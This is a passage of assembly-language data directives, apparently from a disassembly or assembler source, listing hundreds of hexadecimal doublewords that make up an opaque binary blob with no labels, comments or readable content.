7FE034E5h, 0A878147Bh, 0F8B58AB2h, 18AD5A1Eh, 3AA54C8Dh dd 9596CEBDh, 0DFA59AF9h, 2C922E61h, 0C1EF4A16h, 24C530B2h dd 245A7CB6h, 6E692CEBh, 31D74A1Fh, 22F36C97h, 0C999E90Ah dd 0C4CB82E5h, 24427A72h, 0CD249DE2h, 0E3C6C488h, 50660972h dd 32100630h, 0FC0DD606h, 6049375h, 0AC57499Ah, 5CACF4C6h dd 68F9F7C0h, 0B924936h, 0D4517D25h, 40EECF84h, 5D96113h dd 0DF6A7238h, 2243C916h, 0B5FD6852h, 0BE3E6DCDh, 0B43E582Ch dd 0AE5D130Ah, 0ECD8FE0h, 12BC3C38h, 8892C5C1h, 6EAC2029h dd 514B5254h, 21091098h, 8072555Bh, 0AAA4DFEEh, 485D908Dh dd 0F2855528h, 0C5B140E6h, 61587555h, 10E5D133h, 8A0EA179h dd 4A1E1630h, 58928EFBh, 0CBBAE591h, 166E128Ah, 0B7038A2Dh dd 0D028C0B2h, 934526E9h, 654F400Eh, 89281149h, 81979CF7h dd 123768B9h, 965BF5C2h, 0CA1BE9A5h, 136AA321h, 59B3BE5Bh dd 0AAAEE9C2h, 7A81E675h, 0E6FE5BECh, 0E5B6104Eh, 38A4BD03h dd 0C8D22666h, 79B91E68h, 887FDB17h, 0E05AFB0h, 5AE11B10h dd 847A9DA2h, 2DC81660h, 0BAD07A3h, 0BED55911h, 84D395D1h dd 0BD97E0ADh, 0CC470001h, 87F1B940h, 799F8038h, 0F6093AC8h dd 7051FED5h, 7DEA49C2h, 107D25BAh, 82E37B24h, 0B8083385h dd 0F830172Dh, 15418D90h, 55380192h, 2C46BEBDh, 64FA2B9Dh dd 4AC5ABF9h, 4F59170Dh, 0C5101E2Dh, 0E06800FCh, 5D7EDF6Ch dd 41E8B045h, 0DDA13185h, 0A6167B74h, 7291CDFFh, 264B16B7h dd 18DC6CE5h, 4B727B34h, 0BC721375h, 2B9C5FB5h, 0A6465F88h dd 6CBD113Fh, 92E1F67Fh, 31FEB7AFh, 2CEF5EC4h, 0C6419A14h dd 124DED3Eh, 0E5B4DDA1h, 5090971Ch, 0C679499Ch, 7A52D05h dd 0DCC2D303h, 97425AA9h, 0F63308D4h, 0EEC112F4h, 0CB29AA5Dh dd 2F28FD2Eh, 0F0325FB6h, 0F060740h, 52225427h, 0E8706B6h dd 50312DA0h, 7B0FE6F2h, 0EE651C09h, 0D33883F6h, 82180B1Eh dd 0E3588E6Eh, 88F53B0Dh, 204BFDB7h, 4E6E9740h, 2DF7A34Dh dd 0BAA7C0F1h, 9B5A133Ch, 24BE929h, 8C2396CAh, 8743C146h dd 0F17A9737h, 0A44C6C68h, 8B532A09h, 0CC94F782h, 680005F1h dd 730E4C55h, 0F1212C5Eh, 0D2642D07h, 2D3BAD20h, 0AFDEEB81h dd 909A58AFh, 34C82086h, 22D3282Fh, 5DC973Ah, 5C840466h dd 66C3AA23h, 18085BEBh, 2CCA1C25h, 557F4F7Dh, 56D7BD1Fh dd 30FF09DFh, 0D4F2205Dh, 78E93B1Fh, 0DC8A4Fh, 0AB35D8F7h dd 5CB1B28Eh, 1918AE89h, 81DF1D03h, 2260E71Ch, 0D35301DFh dd 0E35A89ABh, 63EAB19Ah, 0C1E7E07Fh, 2B067CEDh, 3EBD1B12h dd 801CDB20h, 0C3CFB1E3h, 62E66BBAh, 0B9516072h, 4B4EBFFEh dd 0B6EB780h, 680FA209h, 0E130FDF1h, 0DF824264h, 47B118E0h dd 1A943Bh, 803C78E1h, 544DE94Ah, 9F2DCBDh, 1C113246h dd 0D581A9FFh, 5097264Fh, 25AC4431h, 93D9EA05h, 1350AD2Bh dd 0A8F356B5h, 0E953C27Fh, 0EEA53028h, 5ACEF3EBh, 412172A0h dd 0C543209Ch, 0F2FFD4Dh, 0E55892D0h, 63CCD949h, 4B682747h dd 55648CFCh, 56A12EC7h, 0FDE83DAEh, 0D84117E9h, 8475BCFEh dd 75FE9663h, 30B9B195h, 7995324Eh, 0BDF4492Ah, 0C29EF6CBh dd 5D06B8A8h, 0B603F219h, 6C680429h, 0A48CB97Bh, 566D3980h dd 0EA2B4AE5h, 0FCE91303h, 93E2D27h, 6841C95Eh, 653E73BEh dd 0A7E804D5h, 0CCFE00FAh, 9F8EF480h, 0F11051DCh, 4801BC4Eh dd 289724CDh, 60AB6885h, 0FC90C45Dh, 5C5A017Dh, 0CF891445h dd 0AA8C4159h, 44AD21A3h, 4A9CB906h, 571224ECh, 0CFF24EEFh dd 664211E9h, 0C2900AF0h, 1B213E09h, 85067D31h, 620BF5D1h dd 0D83A4368h, 0CB293093h, 1EF8F368h, 0C6B5A30h, 401220E5h dd 7F2DDA23h, 1D55E3Fh, 0FA68575Bh, 0C7DC685Dh, 0A371F32h dd 81A4758Bh, 41CE8707h, 6D0D2E4Fh, 0CAAE8A17h, 0B9014593h dd 705A0C4Ch, 0BD8501F0h, 0D2F42B29h, 0D04438A4h, 238372D5h dd 0FB0A4AB7h, 342AF39h, 0B96600E7h, 0BBE97186h, 3959A6E4h dd 72BC307h, 4D5B68E1h, 0C0A35F2Eh, 0E9280DB8h, 0AC9CABD6h dd 67815945h, 0F1D75E51h, 1C925511h, 1908FA5Bh, 5B86A8F7h dd 0C534D1D1h, 0D501014Eh, 0AEA06041h, 66B01480h, 0C330EAB3h dd 4C4570B5h, 845FEBF0h, 0DAAEE00Dh, 0F6E8334Ah, 0BD7544C1h dd 4143006h, 0D22D502Fh, 9CE9155Eh, 0F32F9AC2h, 24BF15DEh dd 892FADD8h, 0DD180986h, 68044EF3h, 0E6AB49C2h, 13D2469Bh dd 71FA4BEAh, 0D1B15177h, 0C0182088h, 0E908EB04h, 7BE4456Dh dd 0D9872405h, 8108339Eh, 4F9AE0D7h, 0DE970103h, 65FFC960h dd 0F8542FC4h, 2DF1D2E4h, 7CC3A62Eh, 0F58A2931h, 0FBC8CCF7h dd 0D4574A82h, 630BBADBh, 4094228h, 0FDEF19A8h, 7FFD4A5Ch dd 5FBEE9A0h, 9AD6899h, 0FDE25D04h, 20971C57h, 2D4A92B3h dd 0F86E10BAh, 0C448D28Bh, 0FE1E1BC2h, 0F3D8FB7Dh, 54D468D1h dd 4B83E41h, 4D876318h, 0CD9AC050h, 624E4A0Ch, 409C56AEh dd 0FA2D2566h, 3F27E913h, 62BC4ACFh, 6CF0F5DBh, 384E5D7Eh dd 5F050882h, 8198DE50h, 0F52DD825h, 42E9EB01h, 21933A6Bh dd 35AADCB7h, 9382088Bh, 359AB801h, 0C3EB1253h, 0C01403BEh dd 0C18008E1h, 18F132CFh, 0BC9425Fh, 5D3987BAh, 0B299707Bh dd 47E305B0h, 0C0295298h, 0DABD55A2h, 627C6712h, 0B6029D06h dd 0FAB882CBh, 0E3F6044Ch, 0A142CF04h, 91C72045h, 98F2965Fh dd 665D0993h, 0E97805DCh, 6A49BD8Ch, 0A5706C02h, 5A0F17E4h dd 844988AFh, 3437B54Dh, 35FC0B7Fh, 0E903EBB0h, 8CCAEAE3h dd 75BE0955h, 6817AED8h, 0FACC138Eh, 0E96D5AB6h, 8443D078h dd 3DF30168h, 8956581Eh, 475F7174h, 0E945305Ah, 0B9443C7h dd 0A56C054Fh, 0DABB0840h, 380AE350h, 28CCB81h, 0DE0C3D65h dd 55D5613h, 0A710F4BAh, 0DDBC7D5Eh, 0EC9136C2h, 0A117EF82h dd 13CC70Bh, 7A262C05h, 5CE13F4Ch, 525E0700h, 0D592768h dd 6D098EE6h, 6C0B235Ch, 1E61BF30h, 0A2AC2C54h, 0B4B82114h dd 5CE66BFEh, 0C4EE1296h, 9A7FC3ADh, 466E6A80h, 19E62890h dd 0E955C22Dh, 98EF054Fh, 0F41192A7h, 5EF33931h, 99E9DD84h dd 0C305F89Ah, 0E1305A89h, 8150A28Ah, 0CB5F387Ah, 0AB5C1D90h dd 0FD2E25E2h, 25D5192h, 387488h, 8851C3FEh, 0D1F6D913h dd 7597A51Fh, 7B947BC5h, 0E28B45FBh, 0CF7390D4h, 9B2C17DBh dd 214AC6Dh, 87FD5B03h, 0C36F167Ah, 0B8CEC541h, 0CE01128Ch dd 3EE7CDAAh, 0E916F8CAh, 2A17E190h, 0EB4664AAh, 979893B4h dd 0BFC68024h, 6AAD056h, 1BDB239Ch, 98E0ED3Bh, 0F20C5682h dd 0F88A0435h, 0EF615FE9h, 60D78E28h, 2D58D8B3h, 282779D9h dd 20495E1Dh, 643F9E07h, 584FF5Fh, 0EB2F9599h, 98B8D016h dd 9368551Ch, 0A4DFED6Ch, 58CD08EFh, 6816ED81h, 0FE2E533Bh dd 25082410h, 4EA2605Ah, 142F480Dh, 1E83D113h, 526BF97Ch dd 0B10F44D8h, 0A4AAD0F2h, 77AAE182h, 30F289B9h, 56FBA725h dd 0F01BC0FDh, 5ABDCC0Dh dd 0F3C305F8h, 0F5579268h, 520804FAh, 0DD9BEA82h, 6B62083Fh dd 50006786h, 3DBCB551h, 0D4A5EC88h, 0DD680E01h, 0C09A6C01h dd 67F571DEh, 0F95A20E9h, 970BE82Ah, 80031838h, 54B0DEFCh dd 18E3CDAAh, 2111E8F9h, 8D0FD63Fh, 40B1553Eh, 2BBC37B7h dd 5FE60036h, 0FBB75D4h, 2FD20382h, 5BC1CC07h, 58066EFh dd 2EBB1F17h, 817F4158h, 1726FC7h, 8FC268F5h, 83C0A01Ch dd 240F5EC1h, 1767DAB7h, 37D3003Eh, 526059DEh, 3CBDBE04h dd 0C6823651h, 3F8900Ch, 0F87D00B6h, 2E9A4179h, 0CB2EAA62h dd 0E4044961h, 0FE80B2A1h, 25B429E2h, 227033A3h, 3BC0430Ah dd 150024E8h, 66F5D617h, 72B6002Eh, 8B7CC7Ch, 66E8C0Fh dd 5A89CA25h, 0C101E920h, 4533BB50h, 0CF8D18Bh, 0E3CCC337h dd 0A09D0B8h, 5ECAC0DBh, 0D4BA01A5h, 0F01F3B16h, 56BC64FEh dd 3D850F0Eh, 0CCE95260h, 43232C03h, 4B9839B5h, 0E80007F8h dd 2E96D97Ah, 33EF30h, 4A14D18Dh, 24B21746h, 0F3251E00h dd 0E0D02335h, 3D7C8Fh, 2F276456h, 0CD2631EEh, 46504E01h dd 5965B27Bh, 0FD00044Fh, 0DBD6D4B5h, 18C062C8h, 0CC6FAC4Dh dd 42C20067h, 12595FD8h, 0BF00F856h, 0C40EDBF5h, 324CA57Dh dd 5E2965E6h, 88F71610h, 0ED88C3FAh, 86A8963h, 0E6FC4480h dd 626D2284h, 0EFBC0644h, 73DCE8h, 928B38C1h, 0C6C0CB52h dd 0F7636813h, 1136BB00h, 0FA2BD95h, 8BA36F6Dh, 0E599D860h dd 451CFC52h, 0A04E6EA9h, 0FB009F31h, 992EC55Ch, 0B6E000BFh dd 3FFEDFCCh, 0CE00ACBDh, 488C95D8h, 0CF5DE7h, 0F2C1518Ah dd 38DBD2AEh, 810CFB3Fh, 71CE9A3Bh, 0B2C0D48Eh, 0A03A0740h dd 8A86E6h, 6B275C42h, 129EE901h, 0F8DE615Bh, 3DAE70h dd 685EAD5Fh, 6E1DA4DCh, 48D59537h, 8A22012Fh, 0B8B0D906h dd 0FB7B2A76h, 9EEF9139h, 6D940417h, 928F00D8h, 2BB4EE94h dd 42B801A7h, 91FC77FBh, 0B9E3F893h, 0B200A9F8h, 0FF234445h dd 0E9EBB7h, 0C02091A6h, 24B49D0Ah, 0EAB86E00h, 0B2424D55h dd 3E9701D2h, 76FC2E32h, 78A0E0C6h, 0C7ADA400h, 7EE09844h dd 0EF3C00F3h, 7BF5927Fh, 9000BC70h, 7568DC54h, 0F423AF2Fh dd 0D6C100CBh, 6FC8F338h, 98011B4Dh, 3BDAA73Eh, 0BC412467h dd 0ACC861E5h, 659018Eh, 0DA2D7205h, 0D7846E68h, 86758400h dd 38D9BAh, 603136E9h, 3C8F4B80h, 3419B467h, 10E8E480h dd 0F67900C7h, 9C61C29Bh, 2F003F0Ch, 5398762Bh, 90F4A2E4h dd 23740074h, 8F3EA013h, 90005021h, 72632E7Fh, 1BC624h dd 321F973Bh, 8E95889Fh, 9CD70C00h, 46B4A326h, 9760EFEh dd 0CE609192h, 16A79D7Ch, 2ED12803h, 0A8C760B3h, 0D0523Ah dd 0F498BCCDh, 0C1BA5AB4h, 9B64CF00h, 0F57EBFB1h, 66E88Ch dd 0A4CA3FC4h, 0B67A4998h, 228FFE09h, 77C82339h, 973AF01Dh dd 0F91E0621h, 41B040ACh, 0F2DD2D07h, 0B4D3922Fh, 251099B2h dd 204C20h, 3ACDE066h, 293B1894h, 2EB47A00h, 387F63C2h dd 0FDECC3h, 742F4489h, 5BB2E86Ch, 7E989300h, 9F20A55Eh dd 2ECB033Eh, 0F0A235BBh, 0EEE019B2h, 5D00247Bh, 2621399Ah dd 0EEF7E3h, 2DC4F23Fh, 0F475B06Ch, 0A67BE800h, 2EC26BBEh dd 0DA5F0792h, 70CCBA60h, 112A6331h, 30AE8D00h, 8A975D2Bh dd 0DB0700C9h, 0D6ECCC42h, 95002D18h, 6F1D4582h, 1E626FFh dd 0EE24DE27h, 0FC2E5DE4h, 3A01C213h, 0FA8A961Eh, 4320F43Bh dd 0A40900C9h, 1F5499EFh, 401FE1F2h, 0A680E7FBh, 9AB6349h dd 18A0074Ch, 90030E6Fh, 0CCB9DBA9h, 0C426200h, 0C1215AF0h dd 8DEE00D8h, 0DD48E088h, 0F60E7B90h, 9403C7F5h, 25400CCh dd 6F1EBE73h, 0EFF20001h, 52838EDFh, 0FFB0A603h, 1FC0774Ah dd 58AE35E8h, 46009E2Dh, 9FE694C3h, 32006917h, 5C2E2AB1h dd 4876C8BDh, 93082029h, 0FB03A780h, 90332C52h, 35196Fh dd 4994E883h, 0C82868CFh, 0BC7AC300h, 4D8D08B9h, 325A189Eh dd 5ECCFA88h, 1F12C00h, 62236A90h, 0ABA6002Bh, 42BDB602h dd 2C5C7D7Eh, 242E3E66h, 0FA1034A4h, 0D752300h, 0AE9536C0h dd 0E300B2FEh, 98FC7E68h, 2832075Ah, 77E49F6Ch, 0B83D0094h dd 2AA6188Dh, 28009C67h, 19C03C05h, 2637EB52h, 964FAAh dd 881F34AFh, 800433BEh, 755053ABh, 89808CC7h, 5C9C0D2Fh dd 0A4180AF5h, 2D733A8Eh, 2473C00h, 5F15CC38h, 0C140F2Ch dd 0AFE05C87h, 0E8C6FD24h, 62C90F1Eh, 0B82B8540h, 87A767h dd 11F55EBEh, 75974977h, 0E140FA00h, 7FB68C37h, 82540013h dd 774362C4h, 63FA3A87h, 0D0006C90h, 51345AECh, 27EA64h dd 2022BBA4h, 658DF8Fh, 0F141000h, 0E8888323h, 7AF60FB7h dd 7669378Dh, 0A7C77400h, 0E779656Bh, 678D895h, 28829FB2h dd 0A8032074h, 67F79D9Bh, 0E0CB90D0h, 6018C175h, 0D04BEE23h dd 0CC039C90h, 941F1C0Bh, 0BE85E009h, 9B7F80h, 0BB25AD76h dd 89A0DE49h, 5817CF4Ch, 950D0E8Ch, 1ADC00CEh, 3E87BA9Ch dd 24582C04h, 0E6230B07h, 1E7E1D4h, 56DE301Ah, 725E405Ch dd 0CA8C7003h, 0C38522D8h, 960C85F2h, 0E110DBh, 0A11A88A3h dd 991983B1h, 958AF003h, 0D8588407h, 7C66811Dh, 268E00AEh dd 899A116Fh, 8300900Ah, 0EF39C457h, 0FF30475h, 8C1FD3C3h dd 7F62E862h, 6334A040h, 0FDDE5300h, 4F9061CEh, 0D06E5CBFh dd 5D066400h, 725FD6FBh, 0D5495E03h, 2C96CD4Eh, 662C4h dd 0D2C937BEh, 8D02CA51h, 0D7685D3Ch, 73A04027h, 0B2071EA0h dd 0AE8A430Bh, 18002BCFh, 0DC1F6299h, 164A97B9h, 2ABFC05h dd 476DC2C4h, 8B0D78C8h, 0F9104526h, 0D63BC000h, 174D86h dd 0F5ACE6FFh, 0FB2C294Fh, 0E3098102h, 0E05D024Bh, 0CDC990h dd 0E72FBF82h, 0B40539F8h, 0C3EA1B00h, 2AC2844Ah, 3BF638E5h dd 6F737B0Fh, 59C2500h, 0D50057C6h, 79EA985Dh, 0B1E3170h dd 0ECF3D43Eh, 6B38FD00h, 564DE618h, 3CCB03B8h, 0B047C398h dd 58E98528h, 1D0304C0h, 787B8720h, 60D61698h, 9A4C6890h dd 223280D4h, 1F12BB01h, 5A214DAh, 800F8D3Fh, 315EE7CCh dd 1CF0182Ch, 4DA5A701h, 60DCAEC8h, 3AA00E6Ch, 49612DFDh dd 0C1BABF77h, 0A14030CCh, 7361E304h, 709039DFh, 2663D9h dd 8B2F2CB1h, 66B2AE3Ch, 5842D500h, 0DA2462ECh, 387B07D2h dd 1FF2D1A3h, 49865A02h, 0C43EE560h, 626CA800h, 9B30D6E6h dd 46FECC6h, 0D9BFD7C7h, 9A8B80CEh, 80018220h, 0C2034050h dd 91F4B1C5h, 5AB90014h, 6E8475F4h, 345C5079h, 0AD101304h dd 4A687D18h, 2E1F3AEEh, 0CFB81880h, 2F5C85A4h, 0ED52BF01h dd 51FFC230h, 7DCB16FCh, 0E0A488h, 3AD5D608h, 0C78318A9h dd 0DB311E02h, 806291DAh, 5552CFB4h, 0EBF400AEh, 0BB827966h dd 0D14CBC38h, 0F9A31F74h, 85736800h, 53EE284h, 0E6AA2BF7h dd 0DD64D0D1h, 0AD00E3F5h, 8D962AF8h, 90D6F282h, 0ED720048h dd 40B676BBh, 4400C19Ah, 0E9CB2560h, 5CDE7429h, 5D006A5Ah dd 0B840B241h, 0D87AA3F0h, 0B7616412h, 58462000h, 7199ECEh dd 8454BDFBh, 0D80A6057h, 22004C82h, 0FF36835Dh, 0B87064A4h dd 4BF20298h, 45924D30h, 32109C40h, 0B4D73501h, 140BB87Fh dd 8DB8020h, 5B8255A4h, 2CD4900h, 67AF3Fh, 337EB979h, 0CA426A9Ch dd 0AA020373h, 81BB7765h, 0AB96C0FAh, 851B00A5h, 0DD55D744h dd 0F0F86B19h, 0A69EAA30h, 0C1FC6C73h, 6697EBC0h, 0CF20C4B0h dd 1BB68212h, 89E4040h, 2ED5415h, 7943AC35h, 8CE81D5Fh dd 0F9129B98h dd 0EC40961Ah, 0BCB6ED28h, 93C01D43h, 8A36817Eh, 80D1142Eh dd 91A47020h, 0EC20CA59h, 0E2822EFEh, 6F780688h, 27008803h dd 0C55DA00Bh, 0E3202Eh, 0FF2BB15Eh, 25ED414Ch, 60CA3B00h dd 15683821h, 7FBC0009h, 0C0CC37ADh, 0D606DD6Fh, 6544F4F7h dd 6C430751h, 22783974h, 8D402162h, 9C0FEC80h, 80C0EF32h dd 4864775Ch, 0C513007Ah, 0AFC2385Ah, 4D00952Fh, 39F49137h dd 7B4FD93h, 0BD9621C8h, 12C94288h, 753DC60h, 3BD0A600h dd 9AA4982Bh, 809600E1h, 6B75A835h, 0BB12C8E7h, 64004BB9h dd 7023488Ch, 0C6960579h, 800D9567h, 37BF3904h, 0B66E3B02h dd 0C038E56Bh, 6C092Eh, 4EDB1B84h, 0D714237Eh, 0C08B7426h dd 0C6974500h, 0C308C4Dh, 260B1936h, 0A0013DF0h, 83E45B3Eh dd 0C8F7BB6Fh, 940CB1h, 7BDB3639h, 11FCE159h, 0D31CA100h dd 14859C7Eh, 65EE0038h, 353707B7h, 0D803E270h, 99525BF9h dd 58CDC08Bh, 6B0B1816h, 0C1FDF9E1h, 0A5004272h, 6DF89104h dd 0F8505C7Ah, 0FC1500BAh, 0B9BCAA2h, 2E133EC8h, 0C01FDEE4h dd 4E284BC0h, 2FE24Fh, 73085586h, 215BD2D1h, 41FA802h dd 0F47FEF28h, 0BD61009Ah, 0F0D7666Bh, 0B5DBE700h, 238DFF8Eh dd 6D1F007Dh, 6014F74Ah, 341EF3CFh, 0E1002B2Fh, 0AD055794h dd 0EC1A0012h, 5618D6F0h, 0F57808EFh, 722FD200h, 6B52474Eh dd 501D3B8Fh, 5AEEE780h, 6F4661C9h, 0AC30DE1Dh, 0C38ED1C0h dd 3DF7DC2Bh, 9603EE63h, 6D2897EAh, 227EF0E8h, 78664E00h dd 8F46D1EBh, 5DE629h, 305EDC55h, 8C95CD07h, 0D6ABCB50h dd 0AD4FC900h, 8FF181E5h, 0DECA0082h, 8D595CA8h, 25001707h dd 0A024BBF2h, 0C45A90h, 9CCAD141h, 16706D75h, 0F82F5B00h dd 6F53F1F0h, 0A06A05A7h, 81DDDA0Dh, 0C0B0349Dh, 69FCAD71h dd 91777404h, 38F0B1F5h, 2A660042h, 0D92F6E04h, 0D512548Dh dd 3C002BB7h, 13165A93h, 40800E73h, 9CC0DFBDh, 0BA83AE1h dd 0CA0EA4E0h, 7D041E6Bh, 50674540h, 30B9EB42h, 3161AEF5h dd 74785ECCh, 7A358900h, 76418A16h, 5966090Fh, 68F0672h dd 9EE3CF81h, 12BC2C7Eh, 78C7D7FAh, 0DF85E680h, 0DEB3A46h dd 1B4312h, 0E267CC97h, 7DEC39B7h, 68016EE0h, 89DE782Dh dd 40403EDAh, 5DE341h, 8748DCDFh, 622635D0h, 976A2B00h dd 8F55835Bh, 20D6A158h, 3DBAF8DFh, 0ECE01E5h, 0AF9AE336h dd 68899769h, 0E0653840h, 0F9420E7Eh, 0DD3B288Ch, 0C303CC70h dd 2865A7A1h, 0B06DA006h, 9213002Ch, 1DE03F7Dh, 0B8C06834h dd 0C4A53E5Ch, 0AFD006Fh, 1323596Ah, 0C3035B49h, 0D494385Fh dd 0A4CAE0D9h, 0AA701D8Ah, 2445403Dh, 167FA535h, 6C449903h dd 0D0F327E4h, 7968B64h, 72EB6071h, 80FFE046h, 5100E04Fh dd 57FA3DA7h, 52F86BCh, 432AB52Ch, 0F2FD80F1h, 5D001736h dd 0E559DC78h, 150626E8h, 0C411C27Dh, 9F311B00h, 67CEEB7Bh dd 2E74ECF0h, 36CC88A8h, 32E04389h, 0EC8A0C1Eh, 4B216C2Fh dd 0DB355A0Ch, 5E51197h, 0E8B5D017h, 0EB1C0161h, 837ECCECh dd 0DEBCD911h, 3F2936Eh, 27E21981h, 1101EFC3h, 6898E4FBh dd 7B00BAFEh, 20102458h, 6480B09Ah, 62AB75E6h, 82F5BD07h dd 42A3EA34h, 0A5A80EF6h, 0D0D8A2F7h, 6C0C403Ah, 10D922E7h dd 0EC130026h, 33574BCFh, 8D017D98h, 7C62288Ah, 9FE05B5Fh dd 0A4F063AFh, 0C7D7C9EBh, 0B9065FC2h, 980010B6h, 0CD364204h dd 3233946h, 3565EFC0h, 0C3E51427h, 0C1FF3DE5h, 9C41B2BFh dd 17E2E29h, 785A28F1h, 25D04A72h, 3C91DAh, 44403785h dd 0DE07CDEBh, 0DF1DE4AEh, 217646h, 46403027h, 4C138DBCh dd 0A1E51A14h, 109741DCh, 0E2BB0EDCh, 10ED9601h, 1E7B5FCAh dd 93029C8h, 0EB92A439h, 2F729821h, 0E904FF77h, 0C69A97F6h dd 3241C103h, 816F6781h, 0E3CD6521h, 204F3942h, 838FA811h dd 266029Ah, 0B9DBEDB8h, 0A3408424h, 140E1530h, 60800CFCh dd 0F1ABA15Ah, 2CEB1899h, 0D96EE970h, 0F3C20B4h, 38B76778h dd 32DEEC68h, 0B5D81749h, 8984F761h, 84442218h, 0DC88CC00h dd 71282679h, 0E260109h, 98BEDA6Ah, 1C217608h, 0B6710130h dd 145A8589h, 4E15EC58h, 0AD935D12h, 0FB53040h, 1F3DDC6h dd 4B877237h, 610D114Ch, 1D866A6Fh, 6FDA3029h, 1B2941B9h dd 0FCB78407h, 6B310793h, 3AE0B1C6h, 50484D22h, 38646F07h dd 0B5F017E1h, 58DC01CEh, 208CCF45h, 0E71A3764h, 8518C9EDh dd 6C203C64h, 233E711Dh, 74110EE3h, 71251F00h, 0BB28DC32h dd 0BE83CE3Ah, 79AA02CBh, 80850B87h, 4A29F598h, 0F18D03D6h dd 60CC822Eh, 0AE55410Bh, 4F6982C2h, 0E0064DBh, 6BFD616h dd 81193887h, 24ADEEECh, 31091384h, 21252830h, 2FF680A4h dd 1BE386E4h, 0C9DF9BA0h, 8073DAE1h, 9937C151h, 416F81h dd 68B3FD92h, 265FF61Ch, 0FC422C01h, 795B5DE2h, 40448842h dd 7642B94h, 0FA737C49h, 0B580A03Fh, 1201529Eh, 218C332h dd 0AB1079DAh, 0A90024FCh, 5A07AFA3h, 748EC5h, 7CA57748h dd 7F4AFB76h, 32C84B54h, 0BC9A7E06h, 416ADBh, 90AA733Fh dd 2E4B08B1h, 6DD00D00h, 94F6C187h, 0EE6C0AAFh, 80FCE5h dd 6932422Bh, 0F1004CCAh, 0EB4A28A1h, 0A5DF75h, 0C37840B4h dd 0D0FE6924h, 1B56240h, 1B22A916h, 41F05AF1h, 0C199E990h dd 5B6F0066h, 63B0EAEh, 860FA12h, 5681092h, 65004AFCh dd 78299A1Dh, 0A98F475h, 1E03E73Bh, 2F4B13CCh, 782328h dd 45E54F0Fh, 0B8A07D9Bh, 0DB00015Ah, 0A29E4A63h, 5872A48Fh dd 765180DAh, 0DB461881h, 40EBAE98h, 0AAC868ECh, 0D44EA228h dd 0D2331503h, 0C2AB79E8h, 4B14605Dh, 4E1C806Dh, 3BF70905h dd 88F37EC2h, 0A01A9914h, 1AA543Ah, 402D0084h, 0E5F244D6h dd 4748F7EEh, 7E231D5Ch, 4DA79080h, 3221F35h, 0AAE54642h dd 7FF02839h, 0A88B74DAh, 1ECCEEh, 1B132F15h, 17C83AB4h dd 0BD9D1200h, 7AE53B38h, 316E60DAh, 2C40E278h, 8221AC00h dd 451B8D5Dh, 0F55600A4h, 0BAE06414h, 69D93B1Ch, 0B26022B1h dd 2439F8A7h, 8E788F9Fh, 0B9C5DE6h, 648FF5C0h, 2EA83880h dd 680C1539h, 40701499h, 82A6253h, 68C36FCAh, 0D8E493BAh dd 9D3D1203h, 32303B29h, 8793370h, 34F390A0h, 8107969Dh dd 4E162695h, 3BAA5870h, 0EA7A32FFh, 0D4C01988h, 0B3835B07h dd 6016CAE6h, 2AB523A0h, 90C073E5h, 0DBFE4468h, 0EC7544h dd 4E57A972h, 367F0DE5h, 95C6E7Bh, 42C600AAh, 0E3EC2C34h dd 7A322E3Bh, 783F04FCh, 1B0480A1h, 8090AD39h, 0F843A429h dd 8109FB9Ah, 0ADAE4E8h, 4C24EAE5h, 14E7506Eh, 0EA9CE615h dd 0C936F078h, 7C84BC48h, 88E404BEh, 0F1DEB480h, 19D0C403h dd 2A8082B1h, 0F6403230h, 0DF2521EBh, 2444BFh, 142402Bh dd 805A8130h, 8A3CC002h, 85EF2903h, 50C8C2C8h, 39FE0070h dd 402F21F8h, 38A518D4h, 906076E4h, 0B8004C65h, 6ECAE85Ah dd 3CBF19Dh, 0DD89DE01h, 80CD7E91h, 0C1A63393h, 0EF0BEB90h dd 868BF6h, 7ECBFBB0h, 31EB28ECh, 6ECC2A64h, 0A95D00E4h dd 0A450E158h, 600D5FFh, 74D245EFh, 13EB41h, 0BEE517B6h dd 662CEC2Ah, 0DE4541CEh, 3B414041h, 22DA70h, 746E7600h dd 0CE821297h, 770166EAh, 6FA783D6h, 2C604B56h, 35B20A18h dd 84947FC2h, 80A94ADBh, 5D89EE08h, 0E309FA66h, 42BB0021h dd 1503CBA9h, 9A584A25h, 8D3880B8h, 5C1A2AD8h, 0B50C6343h dd 3FD921E8h, 7D93C09h dd 38748532h, 0A9473820h, 567A1037h, 3FBEB088h, 14998A9h dd 81F18FE2h, 3061EF37h, 6A60CC48h, 0D4D0D261h, 0B3F0B4h dd 0AB930813h, 0CF5F147Fh, 0C2EE8F0Fh, 0EC50B8E1h, 0E5B10C5Dh dd 91644CA2h, 0EEF1CA05h, 883B709h, 17187F38h, 83C39F7h dd 29C0404Ch, 46E33A71h, 72222Eh, 4971311Bh, 26C05B9Fh dd 39158B01h, 0FB75A0D9h, 0F1D060DEh, 2D8E12ECh, 137C001Ah dd 9CE70582h, 0B6023C79h, 34478D06h, 10284002h, 7EA917A6h dd 23902F43h, 0CDEE0774h, 97D2E02Bh, 48011805h, 65934C98h dd 8196958Fh, 80820972h, 75839845h, 0A2429198h, 13A444DCh dd 24E6B52Ah, 6DC01FCh, 80F6C28Ah, 0ADA28521h, 2D2C1h dd 0FBD3DD96h, 0C27B982Ah, 0C4C7EA2Ch, 24915F14h, 3111C0AFh dd 48403380h, 448C2DEBh, 2C3D2377h, 0AF3C0940h, 0DA789099h dd 3C63FE22h, 0F500D14Ch, 0B1DF82Bh, 0BC1C8561h, 8F43ACEFh dd 4636A73h, 92BD5E49h, 0C0A09703h, 753BD68Dh, 7FEC2100h dd 6E5A97A7h, 0F68F0280h, 0E6F167D9h, 29011044h, 7756A339h dd 0A0FACB72h, 0D22D0D84h, 0F4260016h, 0F2ACFEB6h, 0AA065C92h dd 6C6B37D9h, 96E217F0h, 7B3C4761h, 3DDCC01Fh, 0C9083B7h dd 7359B200h, 99F1412Bh, 8CB55542h, 582E1160h, 40844CE9h dd 0B9A5000Bh, 7D312335h, 20E1619Fh, 0ECFD0F59h, 20A7432Dh dd 0C107A108h, 805CE3B5h, 0BD4468C9h, 0F10596F1h, 0E878A899h dd 0C2C1004h, 0D158004Ch, 36472021h, 4E0F5B24h, 511A26h dd 644F1048h, 13741Ch, 0F43A4549h, 200B3165h, 35CE5507h dd 7A404B2Ah, 0F63F4DF1h, 0E32FF459h, 3431460h, 3D4CF60Dh dd 3FE85416h, 52024F25h, 4E551A4Dh, 3C38945Ah, 1C3C4C28h dd 4618A574h, 1E3C082Bh, 0B0203743h, 585B0360h, 889A29h dd 2B510C4Ch, 52427B28h, 0F5204907h, 0EF802E38h, 0C0F435Dh dd 0BE5A2FFBh, 3F3C2BD1h, 22697A38h, 52207938h, 0F6DB0401h dd 0DED8645Eh, 14980E98h, 